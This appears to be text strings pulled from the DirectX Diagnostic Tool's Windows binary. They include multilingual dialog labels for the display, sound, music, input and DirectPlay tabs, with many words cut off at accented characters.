Esta herramienta informa detalladamente acerca de los componentes y controladores de DirectX instalados en su sistema. Le permite probar la funcionalidad, diagnosticar problemas y cambiar la configuraci
n de su sistema para un mejor funcionamiento.
Si sabe cu
l es la causa del problema, haga clic en la ficha apropiada de arriba. De lo contrario, puede usar el bot
gina siguiente" de abajo para visitar las p
ginas secuencialmente.
gina "M
s ayuda" enumera otras herramientas que pueden ayudarle a resolver el problema que est
experimentando.
Informaci
n del sistema
Fecha y hora actuales:
Nombre del equipo:
Sistema operativo:
Idioma:
Procesador:
Memoria:
Archivo de paginaci
n de DirectX:
Static
msctls_progress32
Progress1
Comprobar firmas digitales de los Laboratorios de calidad de hardware de Windows (WHQL)
MS Shell Dlg
SysListView32
RichEdit20W
SysListView32
RichEdit20W
MS Shell Dlg
SysListView32
RichEdit20W
MS Shell Dlg
SysListView32
rkninger
RichEdit20W
MS Shell Dlg
SysListView32
Anmerkungen
RichEdit20W
MS Shell Dlg
SysListView32
RichEdit20W
MS Shell Dlg
SysListView32
RichEdit20W
MS Shell Dlg
SysListView32
Huomautuksia
RichEdit20W
MS Shell Dlg
SysListView32
Remarques
RichEdit20W
MS Shell Dlg
SysListView32
RichEdit20W
MS Shell Dlg
SysListView32
Megjegyz
RichEdit20W
MS Shell Dlg
SysListView32
RichEdit20W
MS UI Gothic
SysListView32
RichEdit20W
SysListView32
RichEdit20W
MS Shell Dlg
SysListView32
Opmerkingen
RichEdit20W
MS Shell Dlg
SysListView32
Merknader
RichEdit20W
MS Shell Dlg
SysListView32
RichEdit20W
MS Shell Dlg
SysListView32
Observa
RichEdit20W
MS Shell Dlg
SysListView32
RichEdit20W
MS Shell Dlg
SysListView32
rkningar
RichEdit20W
MS Shell Dlg
SysListView32
Notlar
RichEdit20W
SysListView32
RichEdit20W
MS Shell Dlg
SysListView32
RichEdit20W
MS Shell Dlg
SysListView32
RichEdit20W
MS Shell Dlg
Static
Static
Chip:
Static
Static
Static
Static
Static
Static
Static
WHQL:
Static
Static
Static
DirectX
DirectDraw:
Static
Direct3D:
Static
Static
DirectDraw
Direct3D
RichEdit20W
Static
Static
Static
Static
Static
Static
Static
Static
Static
Static
Static
Static
Static
DirectX R
DirectDraw
Static
Direct3D
Static
Static
DirectDraw(&T)
Direct3D(&E)
RichEdit20W
Static
MS Shell Dlg
Static
robce:
Static
Static
Typ DAC:
Static
Celkov
Static
im zobrazen
Static
Monitor:
Static
Ovlada
ovlada
Static
Verze:
Static
Certifikov
no WHQL:
Static
Mini VDD:
Static
Static
Funkce rozhran
DirectX
Akcelerace rozhran
DirectDraw:
Static
Akcelerace rozhran
Direct3D:
Static
Akcelerace textur portu AGP:
Static
Te&st rozhran
DirectDraw
T&est rozhran
Direct3D
RichEdit20W
Static
MS Shell Dlg
Static
Producent:
Static
Chip-type:
Static
DAC-type:
Static
Hukommelse i alt (ca.):
Static
Aktuel sk
rmtilstand:
Static
Static
Drivere
Hoveddriver:
Static
Version:
Static
WHQL-logo:
Static
Mini-VDD:
Static
Static
DirectX-funktioner
DirectDraw Acceleration:
Static
Direct3D Acceleration:
Static
Acceleration af AGP-struktur:
Static
&Test DirectDraw
T&est Direct3D
rkninger
RichEdit20W
Static
MS Shell Dlg
Static
Hersteller:
Static
Chiptyp:
Static
DAC-Typ:
Static
Gesamtspeicher ca.:
Static
Anzeigemodus:
Static
Monitor:
Static
Treiber
Haupttreiber:
Static
Version:
Static
Mit WHQL-Logo:
Static
Mini-VDD:
Static
Static
DirectX-Funktionen
DirectDraw-Beschleunigung:
Static
Direct3D-Beschleunigung:
Static
AGP-Oberfl
chenbeschleunigung:
Static
DirectDraw &testen
Direct3D te&sten
Anmerkungen
RichEdit20W
Static
MS Shell Dlg
Static
Static
chip:
Static
Static
Static
Static
Static
Static
Static
WHQL:
Static
Static
Static
DirectX
DirectDraw:
Static
Direct3D:
Static
Static
DirectDraw
Direct3D
RichEdit20W
Static
MS Shell Dlg
Device
Static
Manufacturer:
Static
Chip Type:
Static
DAC Type:
Static
Approx. Total Memory:
Static
Current Display Mode:
Static
Monitor:
Static
Drivers
Main Driver:
Static
Version:
Static
WHQL Logo'd:
Static
Mini VDD:
Static
Static
DirectX Features
DirectDraw Acceleration:
Static
Direct3D Acceleration:
Static
AGP Texture Acceleration:
Static
&Test DirectDraw
T&est Direct3D
RichEdit20W
Static
MS Shell Dlg
Static
Valmistaja:
Static
Piirityyppi:
Static
DAC-laji:
Static
Koko muisti (arvio):
Static
Nykyinen n
Static
Tarkkailu:
Static
Ohjaimet
ohjain:
Static
Versio:
Static
WHQL-logo:
Static
Mini VDD:
Static
Static
DirectX-ominaisuudet
DirectDraw-kiihdytys:
Static
Direct3D-kiihdytys:
Static
AGP-kuviokiihdytys:
Static
&Testaa DirectDraw
T&estaa Direct3D
Huomautuksia
RichEdit20W
Static
MS Shell Dlg
Static
Constructeur
Static
Type de processeur
Static
Type de convertisseur (CNA)
Static
moire totale approx.
Static
Mode d'affichage actuel
Static
Static
Pilotes
Pilote principal
Static
Version
Static
Static
VDD mini.
Static
Static
Fonctionnalit
s DirectX
ration DirectDraw
Static
ration Direct3D
Static
ration de texture AGP :
Static
Tester DirectDra&w
Tester Direct&3D
Remarques
RichEdit20W
Static
MS Shell Dlg
Static
Static
Static
Static
Static
Static
Static
Static
Static
WHQL:
Static
Mini VDD:
Static
Static
DirectX
DirectDraw:
Static
Direct3D:
Static
AGP Texture:
Static
DirectDraw
Direct3D
RichEdit20W
Static
MS Shell Dlg
Static
Static
Processzor t
Static
Static
sszes mem
Static
Static
Monitor:
Static
Illeszt
programok
illeszt
program:
Static
Static
WHQL embl
Static
Mini VDD:
Static
Static
DirectX szolg
DirectDraw gyors
Static
Direct3D gyors
Static
AGP mint
zatgyors
Static
A DirectDra&w tesztel
A Direct3D tes&ztel
Megjegyz
RichEdit20W
Static
MS Shell Dlg
Periferica
Static
Produttore:
Static
Tipo di chip:
Static
Tipo DAC:
Static
Totale appross. memoria:
Static
Modalit
vis. corrente:
Static
Monitor:
Static
Driver
Driver principale:
Static
Versione:
Static
Certificato WHQL:
Static
Mini VDD:
Static
Static
Funzionalit
DirectX
Accelerazione DirectDraw:
Static
Accelerazione Direct3D:
Static
Accelerazione trama AGP:
Static
Test Dire&ctDraw
Test Di&rect3D
RichEdit20W
Static
MS UI Gothic
Static
Static
Static
Static
Static
Static
Static
Static
Static
Static
Mini VDD :
Static
Static
DirectX
DirectDraw
Static
Direct3D
Static
Static
DirectDraw
Direct3D
RichEdit20W
Static
Static
Static
Static
Static
Static
Static
Static
Static
Static
Static
Static
Static
DirectX 0
DirectDraw
Static
Direct3D
Static
Static
DirectDraw
Direct3D
RichEdit20W
Static
MS Shell Dlg
Apparaat
Static
Fabrikant:
Static
Chiptype:
Static
DAC-type:
Static
Totaal geheugen:
Static
Weergavemodus:
Static
Beeldscherm:
Static
Stuurprogramma's
Stuurprogramma:
Static
Versie:
Static
Ondertekend:
Static
Mini-VDD:
Static
Static
DirectX-functies
DirectDraw-versnelling:
Static
Direct3D-versnelling:
Static
AGP-oppervlakteversnelling:
Static
DirectDraw &testen
Direct3D t&esten
Opmerkingen
RichEdit20W
Static
MS Shell Dlg
Static
Produsent:
Static
Brikketype:
Static
DAC-type:
Static
Cirka totalt minne:
Static
Gjeldende skjermmodus:
Static
Skjerm:
Static
Drivere
Hoveddriver:
Static
Versjon:
Static
WHQL-logo:
Static
Mini-VDD:
Static
Static
DirectX-funksjoner
DirectDraw-akselerasjon:
Static
Direct3D-akselerasjon:
Static
AGP-teksturakselerasjon:
Static
&Test DirectDraw
Test Direct&3D
Merknader
RichEdit20W
Static
MS Shell Dlg
dzenie
Nazwa:
Static
Producent:
Static
Typ mikrouk
Static
Typ konwertera DAC:
Static
Przybl. ca
k. il. pami
Static
cy tryb ekranu:
Static
Monitor:
Static
Sterowniki
wny sterownik:
Static
Wersja:
Static
Podp. przez WHQL:
Static
Ministerownik VDD:
Static
Static
Funkcje DirectX
Przyspieszenie DirectDraw:
Static
Przyspieszenie Direct3D:
Static
Przysp. teksturowania AGP:
Static
&Testuj modu
DirectDraw
T&estuj modu
Direct3D
RichEdit20W
Static
MS Shell Dlg
Dispositivo
Static
Fabricante:
Static
Tipo de processador:
Static
Tipo de conv. anal
gico-digital:
Static
Total aprox. mem
Static
Modo de exib. atual:
Static
Monitor:
Static
Drivers
Driver principal:
Static
Static
Assinado pelos WHQL:
Static
Mini VDD:
Static
Static
Recursos do DirectX
Acelera
o do DirectDraw:
Static
Acelera
o do Direct3D:
Static
Acelera
o de textura AGP:
Static
Testar DirectDra&w
Testar Dire&ct3D
Observa
RichEdit20W
Static
MS Shell Dlg
Static
Static
Static
Static
Static
Static
Static
Static
Static
Static
Static
Static
DirectX
DirectDraw:
Static
Direct3D:
Static
Static
DirectDraw
Direct3D
RichEdit20W
Static
MS Shell Dlg
Static
Tillverkare:
Static
Kretstyp:
Static
DAC-typ:
Static
Uppskattat totalt minne:
Static
Aktuellt bildsk
Static
Bildsk
Static
Drivrutiner
Huvuddrivrutin:
Static
Version:
Static
WHQL-signerad:
Static
Mini-VDD:
Static
Static
DirectX-funktioner
DirectDraw-acceleration:
Static
Direct3D-acceleration:
Static
AGP-struktursacceleration:
Static
Testa &DirectDraw
Testa Direct&3D
rkningar
RichEdit20W
Static
MS Shell Dlg
Static
retici:
Static
Yonga t
Static
Static
k Top. Bellek:
Static
erli G
Modu:
Static
Static
Static
Static
WHQL Logolu:
Static
Mini VDD:
Static
Static
DirectX
zellikleri
DirectDraw H
Static
Direct3D H
Static
AGP Doku H
Static
DirectDra&w S
Dire&ct3D S
Notlar
RichEdit20W
Static
Static
Static
Static
Static
Static
Static
Static
Static
Static
Static
Static
Static
DirectX R
DirectDraw
Static
Direct3D
Static
Static
DirectDraw(&T)
Direct3D(&E)
RichEdit20W
Static
MS Shell Dlg
Dispositivo
Static
Fabricante:
Static
Tipo de chip:
Static
Tipo de DAC:
Static
Total aprox. de mem
Static
Modo visualiz. actual:
Static
Monitor:
Static
Controladores
Contr. principal:
Static
Static
tipo WHQL:
Static
Mini VDD:
Static
Static
Funcionalidades do DirectX
Acelera
o do DirectDraw:
Static
Acelera
o do Direct3D:
Static
Aceler. de texturas AGP:
Static
&Testar DirectDraw
Testar Direct&3D
RichEdit20W
Static
MS Shell Dlg
Dispositivo
Nombre:
Static
Fabricante:
Static
Tipo de chip:
Static
Tipo de DAC:
Static
Memoria total aprox.:
Static
Modo present. actual:
Static
Monitor:
Static
Controladores
Contr. principal:
Static
Static
Con log. WHQL:
Static
VDD peque
Static
Static
Caracter
sticas de DirectX
Aceleraci
n DirectDraw:
Static
Aceleraci
n Direct3D:
Static
Aceleraci
n de textura AGP:
Static
Probar DirectDra&w
Probar Direct&3D
RichEdit20W
Static
MS Shell Dlg
WHQL:
DirectX
msctls_trackbar32
Slider1
DirectSound
RichEdit20W
DirectX R
msctls_trackbar32
Slider1
DirectSound(&T)
RichEdit20W
MS Shell Dlg
robce:
Ovlada
Verze:
Certifikov
no WHQL:
soubory:
Zprost
edkovatel:
Funkce rozhran
DirectX
hardwarov
akcelerace
zvuku:
msctls_trackbar32
Slider1
&Test rozhran
DirectSound
RichEdit20W
MS Shell Dlg
Enheds-id:
Producent-id:
Produkt-id:
Standardenhed:
Driver
Version:
WHQL-logo:
Andre filer:
Producent:
DirectX-funktioner
Niveau for hardwareacceleration af lyd:
msctls_trackbar32
Slider1
&Test DirectSound
rkninger
RichEdit20W
MS Shell Dlg
tekennung:
Herstellerkennung:
Produktkennung:
Standardger
Treiber
Version:
Mit WHQL-Logo:
Andere Dateien:
Anbieter:
DirectX-Funktionen
Einstellung der Sound- hardwarebeschleunigung:
msctls_trackbar32
Slider1
DirectSound &testen
Anmerkungen
RichEdit20W
MS Shell Dlg
WHQL:
DirectX
msctls_trackbar32
Slider1
DirectSound
RichEdit20W
MS Shell Dlg
Device
Device ID:
Manufacturer ID:
Product ID:
Default Device:
Driver
Version:
WHQL Logo'd:
Other Files:
Provider:
DirectX Features
Hardware Sound Acceleration Level:
msctls_trackbar32
Slider1
&Test DirectSound
RichEdit20W
MS Shell Dlg
Laitetunnus:
Valmistajatunnus:
Product ID -tunnus:
Oletuslaite:
Ohjain
Versio:
WHQL-logo:
Muut tiedostot:
Palvelu:
DirectX-ominaisuudet
Laitteiston
nen kiihdytystaso:
msctls_trackbar32
Slider1
&Testaa DirectSound
Huomautuksia
RichEdit20W
MS Shell Dlg
ID de p
rique :
ID du fabricant
ID de produit
rique par d
Pilote
Version
Autres fichiers
Fournisseur
Fonctionnalit
s DirectX
Niveau d'acc
ration du mat
riel audio
msctls_trackbar32
Slider1
&Tester DirectSound
Remarques
RichEdit20W
MS Shell Dlg
WHQL:
DirectX
msctls_trackbar32
Slider1
DirectSound
RichEdit20W
MS Shell Dlg
zazonos
azonos
kazonos
rtelmezett eszk
Illeszt
program
WHQL embl
Terjeszt
DirectX szolg
A hangok hardveres gyors
si szintje:
msctls_trackbar32
Slider1
A DirectSound &tesztel
Megjegyz
RichEdit20W
MS Shell Dlg
Periferica
ID periferica:
ID produttore:
Numero di serie:
Periferica predefinita:
Driver
Versione:
Certificato WHQL:
Altri file:
Fornitore:
Funzionalit
DirectX
Livello di accelerazione audio hardware:
msctls_trackbar32
Slider1
&Test DirectSound
RichEdit20W
MS UI Gothic
DirectX
msctls_trackbar32
Slider1
DirectSound
RichEdit20W
DirectX 0
msctls_trackbar32
Slider1
DirectSound
RichEdit20W
MS Shell Dlg
Apparaat
Apparaat-id:
Fabrikant-id:
Product-id:
Standaardapparaat:
Stuurprogramma
Versie:
Ondertekend:
Andere bestanden:
Leverancier:
DirectX-functies
Versnellingsniveau van hardwaregeluid:
msctls_trackbar32
Slider1
DirectSound &testen
Opmerkingen
RichEdit20W
MS Shell Dlg
Enhets-ID:
Produsent-ID:
Produkt-ID:
Standardenhet:
Driver
Versjon:
WHQL-logo:
Andre filer:
Leverand
DirectX-funksjoner
Lydakselerasjonsniv
for maskinvare:
msctls_trackbar32
Slider1
&Test DirectSound
Merknader
RichEdit20W
MS Shell Dlg
dzenie
Nazwa:
Identyfikator urz
dzenia:
Identyfikator producenta:
Identyfikator produktu:
lne urz
dzenie:
Sterownik
Nazwa:
Wersja:
Podp. przez WHQL:
Inne pliki:
Dostawca:
Funkcje DirectX
Poziom sprz
towego przyspieszenia d
msctls_trackbar32
Slider1
&Testuj modu
DirectSound
RichEdit20W
MS Shell Dlg
Dispositivo
Ident. do dispositivo:
Ident. do fabricante:
Ident. do produto (Product ID):
Dispositivo padr
Driver
Assinado pelos WHQL:
Outros arquivos:
Fornecedor:
Recursos do DirectX
vel de acelera
o de som do hardware:
msctls_trackbar32
Slider1
&Testar DirectSound
Observa
RichEdit20W
MS Shell Dlg
DirectX
msctls_trackbar32
Slider1
DirectSound
RichEdit20W
MS Shell Dlg
Enhets-ID:
Tillverkarens ID:
Produkt-ID:
Standardenhet:
Drivrutin
Version:
WHQL-signerad:
Andra filer:
Leverant
DirectX-funktioner
Maskinvaruaccelerationsniv
r ljud:
msctls_trackbar32
Slider1
&Testa DirectSound
rkningar
RichEdit20W
MS Shell Dlg
retici Kimli
n Kimli
Varsay
lan ayg
WHQL Logolu:
er Dosyalar:
DirectX
zellikleri
m Ses H
msctls_trackbar32
Slider1
DirectSo&und'u S
Notlar
RichEdit20W
DirectX R
msctls_trackbar32
Slider1
DirectSound(&T)
RichEdit20W
MS Shell Dlg
Dispositivo
ID do dispositivo:
ID do fabricante:
ID do produto:
Dispositivo predefinido:
Controlador
tipo WHQL:
Outros ficheiros:
Fornecedor:
Funcionalidades do DirectX
vel de acelera
o do som de hardware:
msctls_trackbar32
Slider1
&Testar DirectSound
RichEdit20W
MS Shell Dlg
Dispositivo
Nombre:
Id. de dispositivo:
Id. del fabricante:
Id. del producto:
Dispositivo predeterm.:
Controlador
Nombre:
Con log. WHQL:
Otros archivos:
Proveedor:
Caracter
sticas de DirectX
Nivel de aceleraci
n de sonido de hardware:
msctls_trackbar32
Slider1
Pro&bar DirectSound
RichEdit20W
MS Shell Dlg
MIDI DLS
SysListView32
DirectX
DirectMusic
RichEdit20W
MIDI DLS
SysListView32
DirectX R
DirectMusic(&T)
RichEdit20W
MS Shell Dlg
Sada General MIDI DLS:
Hudebn
porty
SysListView32
Funkce rozhran
DirectX
Akcelerace na v
m portu:
&Test rozhran
DirectMusic
Testovat na &portu:
RichEdit20W
MS Shell Dlg
General MIDI DLS-samling:
Musikporte
SysListView32
DirectX-funktioner
Standardportacceleration:
&Test DirectMusic
Test med denne p&ort:
rkninger
RichEdit20W
MS Shell Dlg
Standard-MIDI-DLS-Sammlung:
Musikanschl
SysListView32
DirectX-Funktionen
Standardanschluss- beschleunigung:
DirectMusic &testen
Mit diesem &Anschluss testen:
Anmerkungen
RichEdit20W
MS Shell Dlg
MIDI DLS:
SysListView32
DirectX
DirectMusic
RichEdit20W
MS Shell Dlg
General MIDI DLS Collection:
Music Ports
SysListView32
DirectX Features
Default Port Acceleration:
&Test DirectMusic
Test using this &port:
RichEdit20W
MS Shell Dlg
Yleinen MIDI DLS -kokoelma:
Musiikkiportit
SysListView32
DirectX-ominaisuudet
Oletusportin kiihtyvyys:
&Testaa DirectMusic
T&estaa k
porttia:
Huomautuksia
RichEdit20W
MS Shell Dlg
Collection DLS General MIDI
Ports musicaux
SysListView32
Fonctionnalit
s DirectX
ration de port par d
&Tester DirectMusic
Tester en utilisant ce &port
Remarques
RichEdit20W
MS Shell Dlg
MIDI DLS
SysListView32
DirectX
DirectMusic
RichEdit20W
MS Shell Dlg
GMIDI DLS-gy
Zenei portok
SysListView32
DirectX szolg
rtelmezett portgyors
A DirectMusic tes&ztel
A tesztel
shez haszn
lt &port:
Megjegyz
RichEdit20W
MS Shell Dlg
Raccolta generale MIDI DLS:
Porte per periferiche musicali
SysListView32
Funzionalit
DirectX
Accelerazione porta predefinita:
&Test DirectMusic
Test utili&zzando questa porta:
RichEdit20W
MS UI Gothic
MIDI DLS
SysListView32
DirectX
DirectMusic
RichEdit20W
MIDI DLS
SysListView32
DirectX 0
DirectMusic
RichEdit20W
MS Shell Dlg
Algemene MIDI DLS-verzameling:
Muziekpoorten
SysListView32
DirectX-functies
Standaardpoortversnelling:
DirectMusic &testen
Testen met &deze poort:
Opmerkingen
RichEdit20W
MS Shell Dlg
General MIDI DLS-samling:
Musikkporter
SysListView32
DirectX-funksjoner
Standard portakselerasjon:
&Test DirectMusic
Test ved
&bruke denne porten:
Merknader
RichEdit20W
MS Shell Dlg
lna kolekcja MIDI DLS:
Porty muzyczne
SysListView32
Funkcje DirectX
lne przyspieszenie portu:
&Testuj modu
DirectMusic
T&estuj przy u
yciu tego portu:
RichEdit20W
MS Shell Dlg
Conjunto geral de MIDI DLS:
Portas de m
SysListView32
Recursos do DirectX
Acelera
o padr
o da porta:
&Testar DirectMusic
Testar &usando esta porta:
Observa
RichEdit20W
MS Shell Dlg
General MIDI DLS:
SysListView32
DirectX
DirectMusic
RichEdit20W
MS Shell Dlg
n MIDI DLS-samling:
Musikportar
SysListView32
DirectX-funktioner
Standardacceleration f
r porten:
Testa &DirectMusic
&Testa med f
ljande port:
rkningar
RichEdit20W
MS Shell Dlg
Genel MIDI DLS Koleksiyonu:
zik Ba
Noktalar
SysListView32
DirectX
zellikleri
Varsay
lan Ba
Noktas
Direct&Music'i S
B&u ba
noktas
kullanarak s
Notlar
RichEdit20W
MIDI DLS
SysListView32
DirectX R
DirectMusic(&T)
RichEdit20W
MS Shell Dlg
o DLS General MIDI:
Portas de m
SysListView32
Funcionalidades do DirectX
Acelera
o da porta predefinida:
&Testar DirectMusic
Testar utilizando esta &porta:
RichEdit20W
MS Shell Dlg
Colecci
n MIDI DLS general:
Puertos de m
SysListView32
Caracter
sticas de DirectX
Aceler. predet. de puerto:
Pro&bar DirectMusic
Pr&obar usando este puerto:
RichEdit20W
MS Shell Dlg
DirectInput
SysListView32
SysTreeView32
RichEdit20W
DirectInput
SysListView32
SysTreeView32
RichEdit20W
MS Shell Dlg
DirectInput
SysListView32
Vstupn
SysTreeView32
RichEdit20W
MS Shell Dlg
DirectInput-enheder
SysListView32
Inputrelaterede enheder
SysTreeView32
rkninger
RichEdit20W
MS Shell Dlg
DirectInput-Ger
SysListView32
Eingabebezogene Ger
SysTreeView32
Anmerkungen
RichEdit20W
MS Shell Dlg
DirectInput
SysListView32
SysTreeView32
RichEdit20W
MS Shell Dlg
DirectInput Devices
SysListView32
Input Related Devices
SysTreeView32
RichEdit20W
MS Shell Dlg
DirectInput-laitteet
SysListView32
laitteet
SysTreeView32
Huomautuksia
RichEdit20W
MS Shell Dlg
riques DirectInput
SysListView32
riques de saisie associ
SysTreeView32
Remarques
RichEdit20W
MS Shell Dlg
DirectInput
SysListView32
SysTreeView32
RichEdit20W
MS Shell Dlg
DirectInput-eszk
SysListView32
Bevitellel kapcsolatos eszk
SysTreeView32
Megjegyz
RichEdit20W
MS Shell Dlg
Periferiche DirectInput
SysListView32
Periferiche di input
SysTreeView32
RichEdit20W
MS UI Gothic
DirectInput
SysListView32
SysTreeView32
RichEdit20W
DirectInput X
SysListView32
SysTreeView32
RichEdit20W
MS Shell Dlg
DirectInput-apparaten
SysListView32
Aan invoer gerelateerde apparaten
SysTreeView32
Opmerkingen
RichEdit20W
MS Shell Dlg
DirectInput-enheter
SysListView32
Inndatarelaterte enheter
SysTreeView32
Merknader
RichEdit20W
MS Shell Dlg
dzenia DirectInput
SysListView32
dzenia wej
SysTreeView32
RichEdit20W
MS Shell Dlg
Dispositivos do DirectInput
SysListView32
Dispositivos relacionados a entrada
SysTreeView32
Observa
RichEdit20W
MS Shell Dlg
DirectInput
SysListView32
SysTreeView32
RichEdit20W
MS Shell Dlg
DirectInput-enheter
SysListView32
Indatarelaterade enheter
SysTreeView32
rkningar
RichEdit20W
MS Shell Dlg
DirectInput Ayg
SysListView32
lgili Ayg
SysTreeView32
Notlar
RichEdit20W
DirectInput
SysListView32
SysTreeView32
RichEdit20W
MS Shell Dlg
Dispositivos DirectInput
SysListView32
Dispositivos relacionados com entrada
SysTreeView32
RichEdit20W
MS Shell Dlg
Dispositivos de DirectInput
SysListView32
Dispositivos de entrada
SysTreeView32
RichEdit20W
MS Shell Dlg
DirectPlay
SysListView32
DirectPlay
SysListView32
DirectPlay
DirectPlay
DirectX
RichEdit20W
DirectPlay
SysListView32
Lobbyable DirectPlay
SysListView32
DirectPlay
DirectPlay(&T)
DirectX R
RichEdit20W
MS Shell Dlg
Registrovan
zprost
edkovatel
eb rozhran
DirectPlay
SysListView32
Registrovan
aplikace DirectPlay, umo
vstup
SysListView32
nosti sou
sti DirectPlay&Voice
&Test rozhran
DirectPlay
Funkce rozhran
DirectX
RichEdit20W
MS Shell Dlg
Registrerede tjenesteudbydere til DirectPlay
SysListView32
Registrerede DirectPlay-programmer med lobby-funktioner
SysListView32
&Indstillinger for DirectPlay Voice
&Test DirectPlay
DirectX-funktioner
rkninger
RichEdit20W
MS Shell Dlg
Registrierte DirectPlay-Dienstanbieter
SysListView32
Registrierte ver
nderbare DirectPlay-Anwendungen
SysListView32
DirectPlay &Voice-Optionen
DirectPlay te&sten
DirectX-Funktionen
Anmerkungen
RichEdit20W
MS Shell Dlg
DirectPlay
SysListView32
Lobbyable DirectPlay
SysListView32
DirectPlay
DirectPlay
DirectX
RichEdit20W
MS Shell Dlg
Registered DirectPlay Service Providers
SysListView32
Registered Lobbyable DirectPlay Applications
SysListView32
DirectPlay &Voice Options
&Test DirectPlay
DirectX Features
RichEdit20W
MS Shell Dlg
Rekister
idyt DirectPlay-palvelut
SysListView32
Rekister
idyt DirectPlay-sovellukset
SysListView32
&DirectPlay-
niasetukset
&Testaa DirectPlay
DirectX-ominaisuudet
Huomautuksia
RichEdit20W
MS Shell Dlg
Fournisseurs de services DirectPlay enregistr
SysListView32
Applis DirectPlay enreg. pouvant
tre prises en charge
SysListView32
Options DirectPlay &Voice
&Tester DirectPlay
Fonctionnalit
s DirectX
Remarques
RichEdit20W
MS Shell Dlg
DirectPlay
SysListView32
-DirectPlay
SysListView32
DirectPlay &Voice
DirectPlay
DirectX
RichEdit20W
MS Shell Dlg
Regisztr
lt DirectPlay szolg
SysListView32
Regisztr
ktermi DirectPlay alkalmaz
SysListView32
DirectPlay &hangbe
A DirectPlay &tesztel
DirectX szolg
Megjegyz
RichEdit20W
MS Shell Dlg
Provider registrati di servizi DirectPlay
SysListView32
Applicazioni registrate DirectPlay con supporto lobby
SysListView32
Opzioni DirectPlay &Voice
&Test DirectPlay
Funzionalit
DirectX
RichEdit20W
MS UI Gothic
DirectPlay
SysListView32
DirectPlay
SysListView32
DirectPlay
DirectPlay
DirectX
RichEdit20W
DirectPlay
SysListView32
Lobbyable DirectPlay
SysListView32
DirectPlay
DirectPlay
DirectX 0
RichEdit20W
MS Shell Dlg
Geregistreerde DirectPlay-serviceproviders
SysListView32
Geregistreerde DirectPlay-toepassingen met lobby
SysListView32
DirectPlay Voi&ce-opties
DirectPlay &testen
DirectX-functies
Opmerkingen
RichEdit20W
MS Shell Dlg
Registrerte DirectPlay-tjenesteleverand
SysListView32
Registrerte DirectPlay-informasjonsprogrammer
SysListView32
&Stemmealternativer for DirectPlay
&Test DirectPlay
DirectX-funksjoner
Merknader
RichEdit20W
MS Shell Dlg
Zarejestrowani us
ugodawcy modu
u DirectPlay
SysListView32
Zarejestrowane aplikacje modu
u Lobbyable DirectPlay
SysListView32
Opcje programu DirectPlay &Voice
&Testuj modu
DirectPlay
Funkcje DirectX
RichEdit20W
MS Shell Dlg
Provedores de servi
o DirectPlay registrados
SysListView32
Aplicativos DirectPlay habilitados para lobby registrados
SysListView32
es do &DirectPlay Voice
&Testar o DirectPlay
Recursos do DirectX
Observa
RichEdit20W
MS Shell Dlg
DirectPlay
SysListView32
DirectPlay
SysListView32
DirectPlay Voice
DirectPlay
DirectX
RichEdit20W
MS Shell Dlg
Registrerade DirectPlay-tj
nstproviders
SysListView32
Registrerade valfria DirectPlay-program
SysListView32
Alternativ f
r DirectPlay Voi&ce
&Testa DirectPlay
DirectX-funktioner
rkningar
RichEdit20W
MS Shell Dlg
DirectPlay Hizmet Sa
SysListView32
Etkilenebilir DirectPlay Uygulamalar
SysListView32
DirectPlay &Ses Se
enekleri
&DirectPlay'i S
DirectX
zellikleri
Notlar
RichEdit20W
DirectPlay
SysListView32
Lobbyable DirectPlay
SysListView32
DirectPlay
DirectPlay(&T)
DirectX R
RichEdit20W
MS Shell Dlg
Fornecedores de servi
os DirectPlay registados
SysListView32
Aplica
es DirectPlay registadas sujeitas a lobby
SysListView32
es de &voz DirectPlay
&Testar DirectPlay
Funcionalidades do DirectX
RichEdit20W
MS Shell Dlg
Proveedores de servicio DirectPlay registrados
SysListView32
Aplic. registradas de DirectPlay con soporte multijugador
SysListView32
Opciones de &voz de DirectPlay
Pro&bar DirectPlay
Caracter
sticas de DirectX
RichEdit20W
MS Shell Dlg
DirectX
Windows:
Windows:
Microsoft:
DirectDraw (
Windows
DirectX
(&T)...
Windows
(&U)...
Microsoft
(&M)...
DirectDraw
(&O)...
(&I)...
MS Shell Dlg
Jestli
e se v
m nepoda
ilo vy
it probl
ete vyzkou
kterou z n
sleduj
ch akc
te Poradce p
ch s rozhran
m DirectX:
Po&radce p
te poradce syst
mu Windows p
ch se zvukem:
Zv&uk...
te program Syst
informace:
&MSInfo...
te obnovovac
frekvenci rozhran
DirectDraw (pouze pro zku
ivatele):
epsat...
Odstra
te probl
se neaktivn
ch zobrazovac
N&eaktivn
MS Shell Dlg
Hvis du ikke kunne l
se problemet med dette v
j, kan du g
lgende:
Klik p
denne knap for at pr
ve DirectX-fejlfinding i Windows Hj
&Fejlfinding...
Klik p
denne knap for at pr
ve Lydfejlfinding i Windows Hj
&Lyd...
Klik p
denne knap for at starte v
jet Microsoft Systemoplysninger:
&MSInfo...
Klik p
denne knap for at
ndre DirectDraws opdateringshastighed (erfarne brugere):
&Skift...
Klik p
denne knap for at l
se problemer i forbindelse med inaktive sk
rmenheder:
&Inaktive...
MS Shell Dlg
Verwenden Sie die unten stehenden Optionen, falls Sie das Problem nicht mit diesem Programm beheben konnten.
Klicken Sie auf diese Schaltfl
che, um die Windows-Hilfe f
r DirectX-Problembehandlung aufzurufen:
&Problembehandlung...
Klicken Sie auf diese Schaltfl
che, um die Windows-Hilfe f
r Soundproblembehandlung aufzurufen:
So&und...
Klicken Sie auf diese Schaltfl
che, um das Microsoft-Systeminformationsprogramm aufzurufen:
&MSInfo...
Klicken Sie auf diese Schaltfl
che, um die DirectDraw-Aktualisierungsrate au
er Kraft zu setzen (nur f
r fortgeschrittene Benutzer):
er Kraft setzen...
Klicken Sie auf diese Schaltfl
che, um Probleme, die mit inaktiven Anzeigeger
ten zusammenh
ngen, zu beheben:
Inakti&ve Ger
MS Shell Dlg
DirectX
Windows:
Windows:
Microsoft:
&MSInfo...
DirectDraw (
MS Shell Dlg
If you were not able to resolve the problem with this tool, here are some other things you can do:
Click this button to try Windows Help's DirectX troubleshooter:
&Troubleshoot...
Click this button to try Windows Help's Sound troubleshooter:
So&und...
Click this button to start the Microsoft System Information Tool:
&MSInfo...
Click this button to override DirectDraw's refresh rate (for advanced users only):
&Override...
Click this button to work around problems related to inactive display devices:
&Inactive...
MS Shell Dlg
Jos et ratkaissut ongelmaa t
kalun avulla, voit viel
toimia seuraavasti:
Kokeile Windowsin ohjeen DirectX-vianm
rityst
napsauttamalla seuraavaa painiketta:
&Vianm
ritys...
Kokeile Windowsin ohjeen
ni-vianm
rityst
napsauttamalla seuraavaa painiketta:
ynnist
Microsoft J
rjestelm
tiedot -ty
kalu napsauttamalla seuraavaa painiketta:
